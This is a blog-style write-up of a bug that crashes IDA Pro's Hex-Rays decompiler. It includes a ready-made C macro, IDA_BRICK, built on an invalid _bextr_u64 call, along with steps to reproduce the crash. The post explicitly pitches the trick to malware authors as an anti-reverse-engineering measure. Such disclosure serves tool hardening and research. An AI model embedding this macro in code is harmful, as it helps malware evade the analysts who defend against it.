While analyzing a random malware sample, I noticed IDA Pro's Hex-Rays decompiler producing weird output. Curious, I dug in and realized it doesn't always perform bound checks on certain intrinsics. After testing a few edge cases, I landed on this simple way to brick the decompiler using the _bextr_u64 intrinsic with invalid parameters. In this post, we'll break down the vulnerability and how to reproduce it.

Understanding the Vulnerability

IDA Pro's Hex-Rays decompiler translates x86-64 assembly back into high-level C-like pseudocode. It assumes the binary was produced by a compliant compiler, so it doesn't handle all cases of undefined behavior gracefully. Specifically, the _bextr_u64 intrinsic (which maps to Intel's BEXTR instruction) expects the bit start position plus length to not exceed 64 bits for 64-bit operands. Violating this triggers undefined behavior in the CPU, but the program can still run fine. However, IDA chokes on it during decompilation, aborting with an internal error (INTERR 51666).

How the Exploit Works

The core trick is crafting an invalid _bextr_u64 call where the length parameter exceeds bounds. I've wrapped it in a macro called IDA_BRICK to make it easy to insert anywhere: 

#define IDA_BRICK() \
    (void)( \
        ([] { \
            uint64_t _bextr_val = default_val; \
            _bextr_val = _bextr_u64(_bextr_val, 0x00, (__COUNTER__ ^ __LINE__ % (__COUNTER__ - __LINE__)) * 93U); \
            uint32_t var2 = (0x80 ^ 0x10) ^ ((__COUNTER__ + __LINE__) & 0xFF); \
            uint64_t var3 = var2 - 2; \
            uint64_t *var4 = &var3; \
            uint64_t var5 = *var4 >> 1; \
            static volatile uint64_t _bextr_sink; \
            _bextr_sink = _bextr_val; \
            var5 = 0; \
            return 0; \
        })() \
    )

- The length is computed dynamically using __COUNTER__ and __LINE__, generating a "random" value that exceeds 64 bits
- When IDA tries to decompile this, its internal checks fail because it can't translate the invalid BEXTR to microcode.

Reproducing the Crash

Here's how to test it yourself:

  1. Include the IDA_BRICK macro in a C/C++ source file, e.g., in a function body.
  2. Compile with MSVC, GCC, or Clang for x86-64 (ensure it emits the BEXTR instruction).
  3. Load the binary in IDA Pro.
  4. Go to the function with the macro and press F5 to decompile.
  5. Boom, decompiler aborts with:
140001520 : INTERR 51666

This works because IDA doesn't bound-check everything, assuming legit code.

Alternative Approaches

I tested other intrinsics, but _bextr_u64 was the most reliable one. You could tweak the macro's computation to make it even more obfuscated.

Conclusion

This vuln shows how decompilers like Hex-Rays can be tripped up by edge cases in intrinsics. It's great for malware authors looking to add anti-RE tricks or for researchers testing tools. Check out the full repo for the PoC: GitHub Repo.

Tools used: IDA Pro, x64dbg